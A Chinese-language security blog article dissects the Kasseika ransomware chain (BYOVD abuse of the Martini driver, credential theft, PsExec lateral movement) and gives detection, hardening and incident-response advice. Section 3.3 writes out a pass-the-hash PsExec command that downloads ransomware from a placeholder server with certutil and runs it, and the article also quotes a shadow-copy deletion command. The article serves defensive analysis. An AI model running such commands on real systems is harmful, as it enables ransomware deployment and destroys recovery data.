BYOVD攻击链深度剖析:从驱动漏洞到勒索软件部署的防御实战
2026/7/5 10:10:18 网站建设 项目流程

1. 项目概述:一次典型的BYOVD攻击链深度剖析

最近在分析一起安全事件时,我完整地复盘了Kasseika勒索软件的攻击链。这个案例非常典型,它集成了当前勒索攻击的几个关键战术:利用合法工具PsExec进行横向移动,并最终通过BYOVD(自带易受攻击驱动程序)技术,滥用一个名为Martini的驱动程序来达成提权和破坏防御的目的。整个过程就像一场精心策划的“特洛伊木马”行动,攻击者没有直接强攻城门,而是伪装成友军,利用系统内部的信任机制和工具,从内部瓦解防御。对于安全运维和应急响应人员来说,理解这种攻击的每一个环节,是构建有效防御和快速响应的基础。这篇文章,我就结合这次分析,把Kasseika的这套“组合拳”拆解清楚,从攻击入口到最终勒索,聊聊其中的技术细节、防御思路和我们踩过的那些坑。

2. 攻击链全景与核心战术解析

2.1 BYOVD:攻击者的“特权通行证”

BYOVD,即“Bring Your Own Vulnerable Driver”,是近年来高级威胁中愈发流行的一种提权技术。它的核心思想并不复杂:攻击者不直接开发或利用操作系统的0day漏洞,而是寻找那些已经通过微软WHQL(Windows硬件质量实验室)认证的第三方驱动程序。这些驱动因为具有高权限(通常是内核模式),且被系统信任,一旦其本身存在漏洞(如任意地址读写、权限检查缺失),就会被攻击者“自带”到目标机器上并加载,从而在内核层面为所欲为。

为什么BYOVD如此受青睐?原因有三点。第一是隐蔽性高。加载一个带有合法数字签名的驱动,在传统基于签名的安全软件看来,可能是正常行为,容易绕过检测。第二是稳定性强。相比利用复杂的系统漏洞,利用一个已知的驱动漏洞往往更稳定,成功率更高。第三是资源复用。安全社区和厂商会公开一些存在漏洞的驱动列表,攻击者可以直接“拿来主义”,降低了攻击成本。在这次Kasseika攻击中,被滥用的“Martini”驱动就是一个典型的例子,它可能是一个用于硬件调试或系统优化的合法驱动,但其接口未能对调用者进行充分的权限校验,导致可以被用户态程序滥用,执行内核内存操作。

2.2 PsExec的“白利用”:信任的背叛

PsExec是Sysinternals工具集里的一款经典远程管理工具,系统管理员常用它来在远程计算机上执行命令。它的工作原理是在远程系统上启动一个Psexesvc服务,并通过命名管道进行通信。在攻击者眼中,PsExec有两大“优点”:一是它功能强大,能直接执行命令、上传文件;二是它在许多企业环境中是“合法”存在的,网络流量和进程行为可能不会被严格拦截。

Kasseika攻击者利用PsExec进行横向移动,属于典型的“Living-off-the-Land”(离地生存)战术。他们可能在通过钓鱼邮件、漏洞利用等方式攻陷第一台机器后,利用窃取的凭证(如域管理员密码哈希),通过PsExec向网络中的其他服务器和工作站发起连接并执行恶意载荷。这个过程看起来就像是管理员在进行日常维护,极大地增加了检测难度。

注意:不要因为PsExec是合法工具就完全放行。在安全策略中,应对PsExec的使用进行严格监控和限制,例如,仅允许从特定的管理跳板机发起连接,并对PsExec产生的网络连接(通常是445端口和命名管道)进行深度行为分析。

2.3 Kasseika勒索软件的战术定位

Kasseika本身是一个相对较新的勒索软件家族,从其利用的技术组合来看,属于“技战术驱动型”而非“大规模撒网型”。它不追求感染数量,而是追求对高价值目标的成功加密和勒索。整合BYOVD和PsExec,表明其攻击者具备一定的技战术水平,目标可能指向企业网络中的数据库服务器、文件服务器或开发环境。勒索软件模块本身通常负责文件加密、勒索信投放和与C2服务器的通信,而其前期的渗透、提权和横向移动能力,则依赖于这些“外挂”的技术。

3. 攻击流程深度拆解与复现

3.1 初始入侵与环境侦察

攻击的起点可能是一个经过伪装的恶意文档、一个利用公共服务漏洞的入侵,或者一次成功的网络钓鱼。攻击者获得初始立足点后,首先会进行轻量级的侦察。他们会运行诸如whoami /allipconfig /allnet viewnet localgroup administrators等命令,来了解当前系统的权限、网络配置、域内其他机器以及本地管理员组成员。

更重要的是,他们会检查安全软件的状态。常见命令包括tasklist查看进程,sc query查询服务状态,以及尝试通过一些WMI查询或直接读取注册表来定位EDR(终端检测与响应)或杀毒软件的存在。这个阶段的活动非常关键,它决定了攻击者后续选择哪种提权方式和横向移动工具。

3.2 凭证窃取与权限提升

在获得一个普通用户权限后,攻击者会尝试获取更高权限的凭证。内存转储工具如Mimikatz(或其多种无文件加载变种)是标准选择。他们会尝试从lsass.exe进程内存中提取明文密码、NTLM哈希或Kerberos票据。如果当前用户是本地管理员,这一步成功率很高。

如果凭证窃取未能直接获得域管理员权限,或者需要绕过某些防护(例如受保护的LSASS进程),攻击者就会启动BYOVD方案。以Martini驱动为例,攻击流程大致如下:

  1. 驱动文件投递:攻击者将Martini驱动的.sys文件(可能经过重命名和简单混淆)上传到目标机器的临时目录,如C:\Windows\Temp\
  2. 驱动加载:通过一个加载器程序(通常是攻击者自己编写的或改写的工具),调用CreateServiceStartServiceAPI,或者直接使用sc createsc start命令,将Martini驱动作为服务安装并启动。由于驱动有合法签名,Windows和许多安全产品在默认情况下会允许其加载。
  3. 利用漏洞提权:加载器程序随后通过DeviceIoControl等函数,向Martini驱动发送特定的控制代码(IOCTL)。由于Martini驱动存在漏洞,未能验证调用者的权限,便执行了高特权操作,例如将攻击者进程的访问令牌修改为NT AUTHORITY\SYSTEM的令牌,或者直接在内核空间修补关键的安全数据结构。
  4. 权限巩固:获得SYSTEM权限后,攻击者可以完全禁用安全软件、清除日志、创建隐藏的后门账户或计划任务,为后续的横向移动扫清障碍。

3.3 横向移动与勒索软件部署

拥有高权限凭证(域管理员哈希或票据)后,横向移动变得水到渠成。攻击者使用PsExec的方式通常是这样的:

# 假设攻击者已经获取了域管理员哈希,并使用Pass-the-Hash技术 psexec.exe \\目标机器IP -u DOMAIN\Administrator -p <NTLM哈希> -h -s -d -accepteula -nobanner cmd /c “certutil -urlcache -split -f http://恶意服务器/ransomware.exe C:\Windows\Temp\k.exe && C:\Windows\Temp\k.exe”

这条命令分解来看:

  • \\目标机器IP:指定横向移动的目标。
  • -u -p:使用窃取的凭证进行认证。
  • -h:以被调用账户的最高权限运行(如果账户是管理员)。
  • -s:在远程系统上以SYSTEM账户运行进程。
  • -d:不等待进程结束(非交互式,适合部署)。
  • -accepteula -nobanner:静默运行,减少输出。
  • 后面的命令:先使用certutil(另一个被滥用的合法工具)从远程服务器下载勒索软件本体ransomware.exe到临时目录并重命名为k.exe,然后立即执行它。

通过这种方式,攻击者可以快速、批量地在多台机器上部署勒索软件载荷。勒索软件执行后,便开始它的“本职工作”:遍历磁盘、加密特定扩展名的文件(避开系统关键文件以防崩溃)、删除卷影副本(vssadmin delete shadows /all /quiet)、投放勒索信,并尝试与命令控制服务器通信。

4. 防御策略与深度检测建议

4.1 预防性控制措施

防御这类攻击需要层层设防,不能只依赖单一产品。

  1. 驱动加载控制:这是对抗BYOVD最直接有效的一环。在企业环境中,应启用驱动程序强制签名策略,并尽可能使用Windows Defender应用程序控制或类似的白名单策略,只允许加载经过企业核准的、已知良好的驱动程序。定期审核服务器和工作站上已安装的驱动程序,移除非必要的、特别是来源不明的驱动。
  2. 凭证保护:启用Credential Guard以防止Pass-the-Hash和Pass-the-Ticket攻击。对域管理员等高权限账户实施受限制的管理模式,禁止其在不安全的设备上登录。强制使用LSA保护,使LSASS进程以受保护的模式运行,防止内存凭证转储。
  3. 最小权限原则:严格限制PsExec、WMI、PowerShell Remoting等管理工具的使用范围和权限。通过网络策略,仅允许从指定的、加固过的管理跳板机发起此类连接。对域管理员账户,实行“平时禁用,用时申请”的流程。
  4. 应用程序控制:虽然PsExec是合法工具,但可以通过应用程序白名单策略,限制其只能在特定目录(如管理员工具目录)下运行,或禁止从用户临时目录、下载目录执行任何可执行文件。

4.2 深度检测与威胁狩猎

预防并非万能,因此必须建立有效的检测能力。

  1. 进程行为监控:重点关注以下异常序列:

    • 非管理员用户或非管理终端上突然出现PsExec、WMI或SchTasks的进程创建事件,且其父进程可疑(如来自邮件客户端、浏览器)。
    • 进程链异常:例如,svchost.exe->rundll32.exe->certutil.exe下载文件,然后立即执行。或者psexec.exe启动的cmd.exe立即执行certutilpowershell进行网络下载。
    • 驱动加载监控:记录所有内核驱动加载事件,特别关注加载路径为临时目录(C:\Windows\Temp\,C:\Users\*\AppData\Local\Temp\)的驱动,或者驱动名称是随机字符串的。将驱动加载事件与进程创建事件关联,如果发现一个用户态进程在短时间内加载了一个不常见的驱动,应立即告警。
  2. 网络流量分析

    • PsExec流量特征:PsExec使用SMB协议(端口445)进行通信,并在远程主机上创建名为PSEXESVC的命名管道。网络检测设备可以寻找短时间内来自同一源IP、针对多个目标IP的445端口连接,并尝试建立命名管道的行为。
    • C2通信检测:勒索软件在加密前后通常会与C2服务器通信。其通信可能使用非标准端口、DGA域名或流行的云服务/社交平台作为中转。需要结合威胁情报,对出站连接进行深度包检测和信誉分析。
  3. 文件系统与注册表监控

    • 勒索软件前置活动:加密开始前,勒索软件通常会遍历大量目录。监控短时间内对大量文件(尤其是文档、图片、数据库文件)的ReadWrite访问尝试。同时,监控对卷影副本服务相关注册表键值的修改或删除操作。
    • 持久化机制:关注计划任务、服务、启动项、WMI事件订阅等位置的异常创建,特别是由SYSTEM账户或近期被攻破的账户创建的。

4.3 应急响应与取证要点

一旦检测到疑似攻击,必须快速响应。

  1. 立即隔离:通过网络策略或主机防火墙,立即隔离被感染机器,防止进一步横向扩散。不要直接关机,以免丢失内存中的证据。
  2. 内存取证:使用专业工具(如Volatility、Rekall)或EDR的内存捕获功能,对受感染主机进行内存转储。内存中可能存有攻击者的进程列表、网络连接、加载的驱动(包括Martini驱动)、以及明文的凭证信息。
  3. 磁盘取证:全面镜像磁盘。重点检查:
    • 临时目录中的可疑可执行文件(如勒索软件本体、驱动文件、加载器)。
    • 预取文件(Prefetch)和最近打开的文件记录,还原攻击者的活动时间线。
    • Windows事件日志(特别是安全日志、系统日志、PowerShell操作日志),但需注意攻击者可能已清除日志。
    • 注册表中关于新创建服务、驱动、计划任务的痕迹。
  4. 威胁狩猎:以已发现的IOC(如恶意文件哈希、C2域名、攻击者IP)为起点,在全网范围内进行搜索,排查是否有其他机器存在相同威胁。检查所有机器的驱动列表、异常服务、以及来自同一源IP的PsExec连接记录。

5. 实操心得与避坑指南

在分析和防御这类攻击的过程中,我们积累了一些宝贵的经验,也踩过不少坑。

心得一:不要神话任何单一安全产品。无论是EDR还是防火墙,都可能被绕过。Kasseika攻击链清晰地展示了,攻击者利用的是“信任链”的弱点——系统信任有签名的驱动,管理员信任PsExec工具。防御的核心思路必须从“阻止坏东西”转变为“验证好东西”。建立“零信任”的最小权限模型,并对所有特权操作进行持续验证和记录,比单纯依赖特征码检测要有效得多。

心得二:日志是应急响应的生命线,但攻击者也知道。我们曾遇到攻击者在利用BYOVD提权后,第一时间不是部署勒索软件,而是运行一个脚本,批量清理了数十台服务器的安全日志和系统日志。这导致我们在事件回溯时面临巨大困难。因此,必须实施日志的集中收集和异地备份,使用SIEM或日志平台实时接收所有终端和服务器的关键日志。确保日志传输通道本身的安全,防止被攻击者拦截或篡改。

心得三:对“合法工具”的管理比想象中复杂。一开始,我们试图一刀切地禁止PsExec,结果遭到了运维团队的强烈反对,因为确实需要用它进行批量补丁部署。后来我们采取了折中方案:建立了专用的、高度加固的“跳板机”,所有需要PsExec的操作必须从这几台跳板机发起,并且跳板机上的所有操作都被全程录像式审计。同时,我们在网络层设置了策略,只允许跳板机的IP地址向生产服务器发起相关的管理协议连接。这样既满足了业务需求,又将风险控制在了可接受的范围内。

心得四:驱动漏洞情报的获取至关重要。Martini驱动可能只是冰山一角。安全团队需要主动订阅和跟踪公开的驱动漏洞库,如微软的WDAC策略包、第三方安全研究机构发布的易受攻击驱动列表。定期用这些列表扫描内网所有机器的已安装驱动,发现“危险分子”立即推动卸载或更新。这个过程可以自动化,并集成到资产管理和漏洞扫描流程中。

最后的建议是,演练永远不嫌多。定期以Kasseika这类攻击链为蓝本,进行红蓝对抗演练。让攻击队尝试使用BYOVD和PsExec进行内网渗透,让防守队尝试检测和响应。只有通过真实的对抗,才能暴露出防御体系中的盲点和响应流程中的脱节之处,从而不断优化策略,真正提升整体安全水位。安全是一个动态的过程,对手在进化,我们的防御思想和手段也必须随之进化。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询